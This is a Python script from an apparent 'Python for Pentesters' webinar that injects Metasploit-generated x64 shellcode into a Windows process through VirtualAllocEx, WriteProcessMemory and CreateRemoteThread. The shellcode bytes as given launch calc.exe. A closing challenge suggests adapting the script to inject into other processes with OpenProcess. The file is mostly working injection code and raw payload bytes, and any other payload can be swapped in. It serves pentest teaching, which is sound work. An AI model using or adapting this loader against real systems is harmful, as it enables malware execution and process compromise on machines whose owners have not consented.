example_3_shellcode_injection.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#  example_3_shellcode_injection.py
#
#  Copyright 2016 Spencer McIntyre
#
#  Redistribution and use in source and binary forms, with or without
#  modification, are permitted provided that the following conditions are
#  met:
#
#  * Redistributions of source code must retain the above copyright
#    notice, this list of conditions and the following disclaimer.
#  * Redistributions in binary form must reproduce the above
#    copyright notice, this list of conditions and the following disclaimer
#    in the documentation and/or other materials provided with the
#    distribution.
#  * Neither the name of the  nor the names of its
#    contributors may be used to endorse or promote products derived from
#    this software without specific prior written permission.
#
#  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
#  "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
#  LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
#  A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
#  OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
#  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
#  LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
#  DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
#  THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
#  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
#  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
################################################################################
#
#                     Python for Pentesters Example Script
#
# Title: Shellcode Injection
# Description:
#   Using the ctypes library, execute arbitrary shellcode in the context of a
#   Windows process. This uses one of the most basic injection techniques of
#   CreateRemoteThread.
#
# Post Webinar Challenge:
#   Modify this script so it will run on 32-bit Windows as well as 64-bit
#   Windows. Additionally, modify the script so it can execute the shellcode
#   in the context of another process by using OpenProcess instead of
#   GetCurrentProcess.
################################################################################

from __future__ import print_function
from __future__ import unicode_literals

import ctypes
import ctypes.wintypes
import sys

# make it easier to reference functions in kernel32
kernel32 = ctypes.windll.kernel32

# define a couple of constants for the Windows API
MEM_COMMIT = 0x00001000
PAGE_EXECUTE_READWRITE = 0x0040

# define our shellcode from metasploit, note the usage of EXITFUNC=thread
# windows/x64/exec - 276 bytes
# http://www.metasploit.com
# VERBOSE=true, PrependMigrate=false, EXITFUNC=thread,
# CMD=calc.exe
SHELLCODE =  b""
SHELLCODE += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
SHELLCODE += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
SHELLCODE += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
SHELLCODE += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
SHELLCODE += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
SHELLCODE += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
SHELLCODE += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
SHELLCODE += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
SHELLCODE += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
SHELLCODE += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
SHELLCODE += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
SHELLCODE += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
SHELLCODE += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
SHELLCODE += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
SHELLCODE += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
SHELLCODE += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
SHELLCODE += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
SHELLCODE += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41"
SHELLCODE += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
SHELLCODE += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
SHELLCODE += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
SHELLCODE += b"\x78\x65\x00"

# the following functions need to have their types updated for 64-bit windows
# because python does not have them defined correctly
kernel32.VirtualAllocEx.argtypes = (
	ctypes.wintypes.HANDLE,
	ctypes.c_void_p,
	ctypes.c_uint64,
	ctypes.c_uint32,
	ctypes.c_uint32
)
kernel32.VirtualAllocEx.restype = ctypes.c_void_p
kernel32.WriteProcessMemory.argtypes = (
	ctypes.wintypes.HANDLE,
	ctypes.c_void_p,
	ctypes.c_void_p,
	ctypes.c_uint64,
	ctypes.POINTER(ctypes.c_uint64)
)
kernel32.WriteProcessMemory.restype = ctypes.c_bool
kernel32.CreateRemoteThread.argtypes = (
	ctypes.wintypes.HANDLE,
	ctypes.c_void_p,
	ctypes.c_uint64,
	ctypes.c_void_p,
	ctypes.c_void_p,
	ctypes.c_uint32,
	ctypes.POINTER(ctypes.c_uint32)
)
kernel32.CreateRemoteThread.restype = ctypes.wintypes.HANDLE

def main():
	# start out by opening a handle to the current process for simplicity
	handle = kernel32.GetCurrentProcess()
	if not handle:
		print('[-] failed to open the process handle')
		return 1

	# first, space needs to be allocated for the shellcode
	address = kernel32.VirtualAllocEx(handle, None, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
	if not address:
		print('[-] failed to allocate space for shellcode')
		return 1
	print("[+] allocated space at 0x{0:016x}".format(address))  # address is padded for 64-bit windows

	# next, the shellcode needs to be written to the allocated space
	if not kernel32.WriteProcessMemory(handle, address, SHELLCODE, len(SHELLCODE), None):
		print('[-] failed to write the shellcode to memory')
		return 1

	# finally, a thread needs to be spawned with the shellcode as it's start
	# address which will cause it to be executed
	thread = kernel32.CreateRemoteThread(handle, None, 0, address, None, 0, None)
	if not thread:
		print('[-] failed to spawn the execution thread')
		return 1
	print("[+] spawned thread with handle: 0x{0:04x}".format(thread))

	print('[*] waiting for thread to exit')
	kernel32.WaitForSingleObject(thread, -1)
	return 0

if __name__ == '__main__':
	sys.exit(main())